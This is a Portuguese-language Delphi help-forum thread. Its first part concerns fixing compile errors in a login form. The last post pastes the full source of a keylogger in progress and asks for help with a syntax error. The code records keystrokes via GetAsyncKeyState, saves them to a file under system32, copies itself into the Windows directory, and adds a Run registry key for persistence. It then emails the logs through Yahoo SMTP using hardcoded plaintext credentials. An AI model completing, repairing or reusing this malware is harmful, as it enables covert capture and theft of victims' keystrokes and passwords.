Ir para conteúdo
Fórum Script Brasil
  • 0

(Resolvido) Ajuda


Guest Davyd Daimom

Pergunta

Guest Davyd Daimom

Pessoal estou precisando de uma ajuda com um código.

eu declarei o seguinte código para um BitbtnOk:

procedure TFrmLogin.BtnOkClick(Sender: TObject);
begin
  Dm.tab_Usuarios.Open;
  FrmMenuPrin.StatusBar1.Panels[2].Text:= ' Usuário:' +FrmLogin.EdtApelido.Text + ' - ' + Dm.tab_UsuariosUsuDepto.AsSTring;
  if not (Dm.tab_Usuarios.Locate('UsuApelido', FrmLogin.EdtApelido.Text, [loPartialKey])) or (Dm.Tab_UsuariosUsuSenha.Value <> FrmLogin.EdtSenha.Text then
  begin
    MessageDlg('Nome ou senha do usuário inválidos.'+#13+#13 + 'Se você esqueceu sua senha, consulte '+ #13 + 'o administrador do sistema', mtError, [mbOK], 0);
    EdtSenha.Clear;
    EdtSenha.SetFocus;
  end
  else
  begin
    FrmLogin.Hide;
    FrmMenuPrin.ShowModal;
    FrmLogin.Release;
    FrmLogin := Nil;
  end;
end.

aí não compila e mostra as seguintes mensagens de error:

[Error] ULogin.pas(46): Undeclared identifier: 'loPartialKey'

[Error] ULogin.pas(46): Incompatible types: 'TLocateOption' and 'Integer'

[Error] ULogin.pas(46): ')' expected but 'THEN' found

[Error] ULogin.pas(60): ';' expected but '.' found

[Error] ULogin.pas(64): Declaration expected but end of file found

[Fatal Error] Sistema.dpr(9): Could not compile used unit 'ULogin.pas'

o que eu posso fazer?

Editado por Micheus
Incluída tag's CODE para melhorar a visualização, bem como identado o código. Utilize a identação também ;)
Link para o comentário
Compartilhar em outros sites

9 respostass a esta questão

Posts Recomendados

  • 0

Ok vamos la por sequencia...

[Error] ULogin.pas(46): Undeclared identifier: 'loPartialKey'
Declare na Uses a Clausula DB para que ele aceite os LoPartialkey e o LoCaseinsensitive;
[Error] ULogin.pas(46): Incompatible types: 'TLocateOption' and 'Integer'
Esse erro indica que você esta comparando um número com um campo que não seja numérico.... como segue abaixo. Provavelmente ele ocorreu nesta linha de código abaixo, verifique se não existe algum campo numérico em seu banco de dados e você esteja comparando com outro tipo de campo
if not (Dm.tab_Usuarios.Locate('UsuApelido', FrmLogin.EdtApelido.Text, [loPartialKey])) or (Dm.Tab_UsuariosUsuSenha.Value <> FrmLogin.EdtSenha.Text then
Error] ULogin.pas(46): ')' expected but 'THEN' found
[Error] ULogin.pas(60): ';' expected but '.' found

Verifique a falta de um parenteses no final da linha do If....

Espero ter ajudado....

Abraços

Alexandre

Editado por Vivendo&Aprendendo
Link para o comentário
Compartilhar em outros sites

  • 0
Guest Davyd Daimom

obrigado.

Eu acrescentei o restante do código e ficou assim:

procedure TFrmLogin.BtnOkClick(Sender: TObject);
begin
  Dm.tab_Usuarios.Open;
  FrmMenuPrin.StatusBar1.Panels[2].Text:= ' Usuário:' +FrmLogin.EdtApelido.Text + ' - ' + Dm.tab_UsuariosUsuDepto.AsSTring;
  if not (Dm.tab_Usuarios.Locate('UsuApelido', FrmLogin.EdtApelido.Text, [loPartialKey])) or (Dm.Tab_UsuariosUsuSenha.Value <> FrmLogin.EdtSenha.Text) then
  begin
    MessageDlg('Nome ou senha do usuário inválidos.'+#13+#13 + 'Se você esqueceu sua senha, consulte '+ #13 + 'o administrador do sistema', mtError, [mbOK], 0);
    EdtSenha.Clear;
    EdtSenha.SetFocus;
  end
  else
  begin
    FrmLogin.Hide;
    FrmMenuPrin.ShowModal;
    FrmLogin.Release;
    FrmLogin := Nil;
  end;
end.

E agora apresenta os seguintes erros:

[Error] ULogin.pas(60): ';' expected but '.' found

[Error] ULogin.pas(62): Declaration expected but end of file found

[Fatal Error] Sistema.dpr(9): Could not compile used unit 'ULogin.pas'

Editado por Micheus
Incluída tag's CODE para melhorar a visualização, bem como identado o código. Utilize a identação também ;)
Link para o comentário
Compartilhar em outros sites

  • 0

Deixe seu código assim:

procedure TFrmLogin.BtnOkClick(Sender: TObject);
begin
  Dm.tab_Usuarios.Open;
  FrmMenuPrin.StatusBar1.Panels[2].Text:= ' Usuário:' +FrmLogin.EdtApelido.Text + ' - ' + Dm.tab_UsuariosUsuDepto.AsSTring;
  if not (Dm.tab_Usuarios.Locate('UsuApelido', FrmLogin.EdtApelido.Text, [loPartialKey])) or (Dm.Tab_UsuariosUsuSenha.Value <> FrmLogin.EdtSenha.Text) then
  begin
    MessageDlg('Nome ou senha do usuário inválidos.'+#13+#13 + 'Se você esqueceu sua senha, consulte '+ #13 + 'o administrador do sistema', mtError, [mbOK], 0);
    EdtSenha.Clear;
    EdtSenha.SetFocus;
  end
  else
  begin
    FrmLogin.Hide;
    FrmMenuPrin.ShowModal;
    FrmLogin.Release;
    FrmLogin := Nil;
  end;
end;

end.

Falta apenas um END; no final do seu código.

Abraços

Link para o comentário
Compartilhar em outros sites

  • 0
Guest Davyd Daimom

certo, o código ficou assim:

procedure TFrmLogin.BtnOkClick(Sender: TObject);
begin
  Dm.tab_Usuarios.Open;
  FrmMenuPrin.StatusBar1.Panels[2].Text:= ' Usuário:' +FrmLogin.EdtApelido.Text + ' - ' + Dm.tab_UsuariosUsuDepto.AsSTring;
  if not (Dm.tab_Usuarios.Locate('UsuApelido', FrmLogin.EdtApelido.Text, [loPartialKey])) or (Dm.Tab_UsuariosUsuSenha.Value <> FrmLogin.EdtSenha.Text) then
  begin
    MessageDlg('Nome ou senha do usuário inválidos.'+#13+#13 + 'Se você esqueceu sua senha, consulte '+ #13 + 'o administrador do sistema', mtError, [mbOK], 0);
    EdtSenha.Clear;
    EdtSenha.SetFocus;
  end
  else
  begin
    FrmLogin.Hide;
    FrmMenuPrin.ShowModal;
    FrmLogin.Release;
    FrmLogin := Nil;
  end;
end;
end.

mas agora apareceu uma janela com o título "Debugger Exception Notification", onde diz: Project Sistema.exe raised exception class EOleException with message 'Erro de disco ou rede'. Process stopped. Use Step or Run to continue

Editado por Micheus
Incluída tag's CODE para melhorar a visualização, bem como identado o código. Utilize a identação também ;)
Link para o comentário
Compartilhar em outros sites

  • 0

estou fazendo um KL que envia msg por smtp mas da dando erro na "with Mensagem do" não sei porque alguém podria me dar uma focinha ta ai o cod completo

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, Registry, XPMan, OleCtrls, SHDocVw,
  IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP,
  IdBaseComponent, IdMessage;

type
  TForm1 = class(TForm)
    capturar: TTimer;
    salvar: TTimer;
    XPManifest1: TXPManifest;
    enviar: TTimer;
    Memo1: TMemo;
    IdMessage1: TIdMessage;
    IdSMTP1: TIdSMTP;
    procedure capturarTimer(Sender: TObject);
    procedure salvarTimer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure enviarTimer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
reg:TRegIniFile;
s,a : string;
implementation

{$R *.dfm}
function Coloca(txt: String): String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;
procedure TForm1.capturarTimer(Sender: TObject);
var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Coloca(' [BACKSPACE] ');
9: Coloca(' [TAB] ');
12: Coloca(' [ALT] ');
13: Coloca(' [ENTER] ');
16: Coloca(' [SHIFT] ');
17: Coloca(' [CONTROL] ');
18: Coloca(' [ALT] ');
20: Coloca(' [CAPS LOCK] ');
21: Coloca(' [PAGE UP] ');
27: Coloca(' [ESC] ');
33: Coloca(' [PAGE UP] ');
34: Coloca(' [PAGE DOWN] ');
35: Coloca(' [END] ');
36: Coloca(' [HOME] ');
37: Coloca(' [SETA ESQUERDA] ');
38: Coloca(' [SETA ACIMA] ');
39: Coloca(' [SETA DIREITA] ');
40: Coloca(' [SETA ABAIXO] ');
45: Coloca(' [INSERT] ');
46: Coloca(' [DEL] ');
91: Coloca(' [WIN ESQUERDA] ');
92: Coloca(' [WIN DIREITA] ');
93: Coloca(' [MENU POP-UP] ');
96: Coloca('0');
97: Coloca('1');
98: Coloca('2');
99: Coloca('3');
100: Coloca('4');
101: Coloca('5');
102: Coloca('6');
103: Coloca('7');
104: Coloca('8');
105: Coloca('9');
106: Coloca(' [NUM *] ');
107: Coloca(' [NUM +] ');
109: Coloca(' [NUM -] ');
110: Coloca(' [NUM SEP. DECIMAL] ');
111: Coloca(' [NUM /] ');
112: Coloca(' [F1] ');
113: Coloca(' [F2] ');
114: Coloca(' [F3] ');
115: Coloca(' [F4] ');
116: Coloca(' [F5] ');
117: Coloca(' [F6] ');
118: Coloca(' [F7] ');
119: Coloca(' [F8] ');
120: Coloca(' [F9] ');
121: Coloca(' [F10] ');
122: Coloca(' [F11] ');
123: Coloca(' [F12] ');
144: Coloca(' [NUM LOCK] ');
186: Coloca('Ç');
187: Coloca('=');
188: Coloca(',');
189: Coloca('-');
190: Coloca('.');
191: Coloca(';');
192: Coloca(' [APÓSTROFO] ');
193: Coloca('/');
194: Coloca(' [NUM PONTO] ');
219: Coloca('´');
220: Coloca(']');
221: Coloca('[');
222: Coloca('~');
226: Coloca('\');
else
if (KeyLoop >= 65) and (keyloop <= 90) then
Coloca(Chr(keyloop));
if (keyloop >= 32) and (keyloop <= 63) then
Coloca(Chr(keyloop));
//numpad keycodes
if (keyloop >= 96) and (keyloop <= 110) then
Coloca(Chr(keyloop));
end;
end; //case;
inc(keyloop);
until keyloop = 255;
end;

procedure TForm1.salvarTimer(Sender: TObject);
var
F:textfile;
begin
Assignfile(F,'c:\windows\system32\key.txt');
if not FileExists('c:\windows\system32\key.txt') Then
begin
Rewrite(F);
Closefile(F);
End
Else
Assignfile(F,'c:\windows\system32\key.txt');
{$I-}
Append(F);
{$I+}
If IOResult<> 0 Then
Begin
End;
Write(F,Form1.Memo1.text);
Closefile(F);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
a := Application.ExeName;
CopyFile(Pchar(a), Pchar('C:\Windows\System\Keylogger.exe'),false);
s:= 'C:\Windows\System\Keylogger.exe';
Reg:=TRegIniFile.Create('full');
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.Openkey ('\Software\Microsoft\Windows\CurrentVersion',false);
reg.WriteString('Run', 'KL', s);
end;

procedure TForm1.enviarTimer(Sender: TObject);
with Mensagem do;
    begin
      Body.text:=(Memo1.text);
      From.Text := 'rafaelbalzani@yahoo.com.br';
      Recipients.EMailAddresses := 'rafaelbalzani@yahoo.com.br';
      Subject := ('Logs de: '+user);
      smtp.AuthenticationType := atlogin; // Indica que requer autenticação
      smtp.Username :='rafaelbalzani';
      smtp.Password :='nic1245';
      smtp.Host := 'smtp.mail.yahoo.com.br'; //HOST SMTP.
      smtp.Port := 25;  // Porta SMTP do yahoo é 25.

      //Anexo.

      TIdAttachment.Create(Mensagem.MessageParts, 'c:\windows\system32\key.txt');

      smtp.Connect; //Conecta.

      try
        smtp.Send(mensagem); // Envia Mensagem + Anexo.
      finally
      smtp.Disconnect; // Desconecta do SV SMTP
    end;
  end;
end;

end.

Link para o comentário
Compartilhar em outros sites

Participe da discussão

Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.

Visitante
Responder esta pergunta...

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emoticons são permitidos.

×   Seu link foi incorporado automaticamente.   Exibir como um link em vez disso

×   Seu conteúdo anterior foi restaurado.   Limpar Editor

×   Você não pode colar imagens diretamente. Carregar ou inserir imagens do URL.



  • Estatísticas dos Fóruns

    • Tópicos
      152k
    • Posts
      651,8k
×
×
  • Criar Novo...